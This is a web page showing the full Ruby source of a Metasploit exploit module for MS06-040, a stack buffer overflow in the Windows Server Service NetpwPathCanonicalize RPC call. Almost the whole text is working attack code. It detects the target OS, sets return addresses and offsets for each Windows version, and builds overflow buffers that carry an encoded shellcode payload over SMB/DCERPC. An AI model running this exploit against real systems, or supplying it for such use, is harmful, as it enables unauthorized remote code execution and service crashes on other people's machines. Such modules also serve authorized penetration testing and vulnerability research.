Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smb/ms06_040_netapi.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client1011def initialize(info = {})12super(update_info(info,13'Name' => 'MS06-040 Microsoft Server Service NetpwPathCanonicalize Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in the NetApi32 CanonicalizePathName() function16using the NetpwPathCanonicalize RPC call in the Server Service. It is likely that17other RPC calls could be used to exploit this service. This exploit will result in18a denial of service on Windows XP SP2 or Windows 2003 SP1. A failed exploit attempt19will likely result in a complete reboot on Windows 2000 and the termination of all20SMB-related services on Windows XP. The default target for this exploit should succeed21on Windows NT 4.0, Windows 2000 SP0-SP4+, Windows XP SP0-SP1 and Windows 2003 SP0.22},23'Author' =>24[25'hdm'26],27'License' => MSF_LICENSE,28'References' =>29[30[ 'CVE', '2006-3439' ],31[ 'OSVDB', '27845' ],32[ 'BID', '19409' ],33[ 'MSB', 'MS06-040' ],34],35'DefaultOptions' =>36{37'EXITFUNC' => 'thread',38},39'Privileged' => true,40'Payload' =>41{42# Technically we can use more space than this, but by limiting it43# to 370 bytes we can use the same request for all Windows SPs.44'Space' => 370,45'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",46'StackAdjustment' => -3500,47},48'Platform' => 'win',49'DefaultTarget' => 0,50'Targets' =>51[52[ '(wcscpy) Automatic (NT 4.0, 2000 SP0-SP4, XP SP0-SP1)', { } ],53[ '(wcscpy) Windows NT 4.0 / Windows 2000 SP0-SP4',54{55'Offset' => 1000,56'Ret' => 0x0002080457}58],59[ '(wcscpy) Windows XP SP0/SP1',60{61'Offset' => 612,62'Ret' => 0x0002080463}64],65[ '(stack) Windows XP SP1 English',66{67'OffsetA' => 656,68'OffsetB' => 680,69'Ret' => 0x71ab1d54 # jmp esp @ ws2_32.dll70}71],72[ '(stack) Windows XP SP1 Italian',73{74'OffsetA' => 656,75'OffsetB' => 680,76'Ret' => 0x71a37bfb # jmp esp @ ws2_32.dll77}78],79[ '(wcscpy) Windows 2003 SP0',80{81'Offset' => 612,82'Ret' => 0x0002080483}84],85],86'Notes' =>87{88'Reliability' => [ UNRELIABLE_SESSION ],89'Stability' => [ CRASH_OS_RESTARTS, CRASH_SERVICE_DOWN ]90},91'DisclosureDate' => '2006-08-08'))9293register_options(94[95OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']),96])9798deregister_options('SMB::ProtocolVersion')99end100101def exploit102103connect(versions: [1])104smb_login()105106mytarget = target107if (not target) or (target.name =~ /Automatic/)108case smb_peer_os()109when 'Windows 5.0'110print_status("Detected a Windows 2000 target")111mytarget = targets[1]112113when 'Windows NT 4.0'114print_status("Detected a Windows NT 4.0 target")115mytarget = targets[1]116117when 'Windows 5.1'118begin119smb_create("\\SRVSVC")120print_status("Detected a Windows XP SP0/SP1 target")121rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e122if (e.error_code == 0xc0000022)123print_status("Windows XP SP2 is not exploitable")124return125end126print_status("Detected a Windows XP target (unknown patch level)")127print_status("To exploit this system, \"set TARGET 2\" and run this exploit again")128end129return130131when /Windows Server 2003 (\d+)$/132print_status("Detected a Windows 2003 SP0 target, but have not confirmed English language")133print_status("To exploit this system, \"set TARGET 5\" and run this exploit again")134# mytarget = targets[5]135return136137when /Windows Server 2003 (\d+) Service Pack (\d+)/138print_status("Windows 2003 SP#{$2} is not exploitable")139return140141when /Samba/142print_status("Samba is not vulnerable")143return144145else146print_status("No target detected for #{smb_peer_os()}/#{smb_peer_lm()}...")147return148end149end150151# Specific fixups for Windows NT152case smb_peer_os()153when 'Windows NT 4.0'154print_status("Adjusting the SMB/DCERPC parameters for Windows NT")155datastore['SMB::pipe_write_min_size'] = 2048156datastore['SMB::pipe_write_max_size'] = 4096157end158159handle = dcerpc_handle(160'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',161'ncacn_np', ["\\#{datastore['SMBPIPE']}"]162)163164print_status("Binding to #{handle} ...")165dcerpc_bind(handle)166print_status("Bound to #{handle} ...")167168#169# /* Function 0x1f at 0x767e912c */170# long function_1f (171# [in] [unique] [string] wchar_t * arg_00,172# [in] [string] wchar_t * arg_01,173# [out] [size_is(arg_03)] char * arg_02,174# [in] [range(0, 64000)] long arg_03,175# [in] [string] wchar_t * arg_04,176# [in,out] long * arg_05,177# [in] long arg_06178# );179#180181print_status("Building the stub data...")182stub = ''183184case mytarget.name185186# This covers NT 4.0 as well187when /wcscpy.*Windows 2000/188189code = make_nops(mytarget['Offset'] - payload.encoded.length) + payload.encoded190191path = code + ( [mytarget.ret].pack('V') * 16 ) + "\x00\x00"192193stub =194NDR.long(rand(0xffffffff)) +195NDR.UnicodeConformantVaryingString('') +196NDR.UnicodeConformantVaryingStringPreBuilt(path) +197NDR.long(rand(250)+1) +198NDR.UnicodeConformantVaryingStringPreBuilt("\xeb\x02\x00\x00") +199NDR.long(rand(250)+1) +200NDR.long(0)201202when /wcscpy.*Windows XP/203path =204# Payload goes first205payload.encoded +206207# Padding208rand_text_alphanumeric(mytarget['Offset'] - payload.encoded.length) +209210# Land 6 bytes in to bypass garbage (XP SP0)211[ mytarget.ret + 6 ].pack('V') +212213# Padding214rand_text_alphanumeric(8) +215216# Address to write our shellcode (XP SP0)217[ mytarget.ret ].pack('V') +218219# Padding220rand_text_alphanumeric(32) +221222# Jump straight to shellcode (XP SP1)223[ mytarget.ret ].pack('V') +224225# Padding226rand_text_alphanumeric(8) +227228# Address to write our shellcode (XP SP1)229[ mytarget.ret ].pack('V') +230231# Padding232rand_text_alphanumeric(32) +233234# Terminate the path235"\x00\x00"236237stub =238NDR.long(rand(0xffffffff)) +239NDR.UnicodeConformantVaryingString('') +240NDR.UnicodeConformantVaryingStringPreBuilt(path) +241NDR.long(rand(0xf0)+1) +242NDR.UnicodeConformantVaryingString('') +243NDR.long(rand(0xf0)+1) +244NDR.long(0)245246247when /stack/248buff = rand_text_alphanumeric(800)249buff[0, payload.encoded.length] = payload.encoded250buff[ mytarget['OffsetA'], 4 ] = [mytarget.ret].pack('V')251buff[ mytarget['OffsetB'], 5 ] = "\xe9" + [ (mytarget['OffsetA'] + 5) * -1 ].pack('V')252253path = "\\\x00\\\x00" + buff + "\x00\x00"254255stub =256NDR.long(rand(0xffffffff)) +257NDR.UnicodeConformantVaryingString('') +258NDR.UnicodeConformantVaryingStringPreBuilt(path) +259NDR.long(rand(0xf0)+1) +260NDR.UnicodeConformantVaryingString('') +261NDR.long(rand(0xf0)+1) +262NDR.long(0)263264265when /wcscpy.*Windows 2003/266path =267# Payload goes first268payload.encoded +269270# Padding271rand_text_alphanumeric(mytarget['Offset'] - payload.encoded.length) +272273# Padding274rand_text_alphanumeric(32) +275276# The cookie is constant,277# noticed by Nicolas Pouvesle in Misc #28278"\x4e\xe6\x40\xbb" +279280# Padding281rand_text_alphanumeric(4) +282283# Jump straight to shellcode284[ mytarget.ret ].pack('V') +285286# Padding287rand_text_alphanumeric(8) +288289# Address to write our shellcode290[ mytarget.ret ].pack('V') +291292# Padding293rand_text_alphanumeric(40) +294295# Terminate the path296"\x00\x00"297298stub =299NDR.long(rand(0xffffffff)) +300NDR.UnicodeConformantVaryingString('') +301NDR.UnicodeConformantVaryingStringPreBuilt(path) +302NDR.long(rand(0xf0)+1) +303NDR.UnicodeConformantVaryingString('') +304NDR.long(rand(0xf0)+1) +305NDR.long(0)306307end308309print_status("Calling the vulnerable function...")310311begin312dcerpc.call(0x1f, stub, false)313dcerpc.call(0x1f, stub, false)314rescue Rex::Proto::DCERPC::Exceptions::NoResponse315rescue => e316if e.to_s !~ /STATUS_PIPE_DISCONNECTED/317raise e318end319end320321# Cleanup322handler323disconnect324end325end326327328